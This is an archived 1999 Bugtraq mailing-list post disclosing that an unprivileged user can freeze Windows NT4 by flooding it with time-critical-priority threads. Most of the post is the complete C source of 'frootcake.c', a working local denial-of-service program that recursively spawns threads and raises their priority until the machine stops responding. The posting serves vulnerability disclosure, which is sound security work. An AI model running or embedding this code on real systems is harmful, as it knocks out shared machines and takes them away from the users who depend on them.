[10776] in bugtraq

home help back first fref pref prev next nref lref last post

ordinary users bringing NT to its knees [repost]

daemon@ATHENA.MIT.EDU (kiva)
Thu Jun 10 13:54:44 1999

Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <000d01beb27e$6cc9f1f0$2d01a8c0@jizzlobber>
Date: 	Wed, 9 Jun 1999 23:46:05 +1000
Reply-To: kiva <kiva@WOOKEY.ORG>
From: kiva <kiva@WOOKEY.ORG>
To: BUGTRAQ@NETSPACE.ORG

[Aleph, sorry about my original post - I pasted the wrong code! oops! :) ]

Hi,

sorry if problems like this are known, but I thought I'd post this just
incase...

I was curious at how well NT could handle *lots* of threads, so I wrote the
following. It basically locks up the system with an inability to kill the
process because (I) never get the task manager up. Pretty bad since an
ordinary user can run it :/

my system: 2xPPro with NT4 (SP5), 128megs RAM.

cheers

----------------------------

/*
 * frootcake.c
 * kiva@wookey.org
 *
 * this tests NT at coping with *really dodgy* code...
 * it totally brings my SMP box to being unusable (SP5)
 */

#include <windows.h>
#include <stdio.h>

void poobah();

DWORD WINAPI thread_func (LPVOID lpv)
{
    DWORD id;
    HANDLE h;
    BOOL success = 1;

    h = CreateThread (NULL, 0, thread_func, (LPVOID)0, 0, &id);

    while (success){
        switch (GetThreadPriority (h)){
        case THREAD_PRIORITY_ABOVE_NORMAL:
            success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
            break;
        case THREAD_PRIORITY_BELOW_NORMAL:
            success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
            break;
        case THREAD_PRIORITY_HIGHEST:
            success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
            break;
        case THREAD_PRIORITY_IDLE:
            success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
            break;
        case THREAD_PRIORITY_LOWEST:
            success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
            break;
        case THREAD_PRIORITY_NORMAL:
            success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
            break;
        }
    }

    poobah();
    return 0;
}

void poobah()
{
    DWORD id;
    HANDLE h;

    h = CreateThread (NULL, 0, thread_func, (LPVOID)0, 0, &id);
    SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);

    poobah();
}

int main ()
{
    printf ("frootcake - kiva@wookey.org\n");
    poobah();
    return 0;
}

/* eof */

home help back first fref pref prev next nref lref last post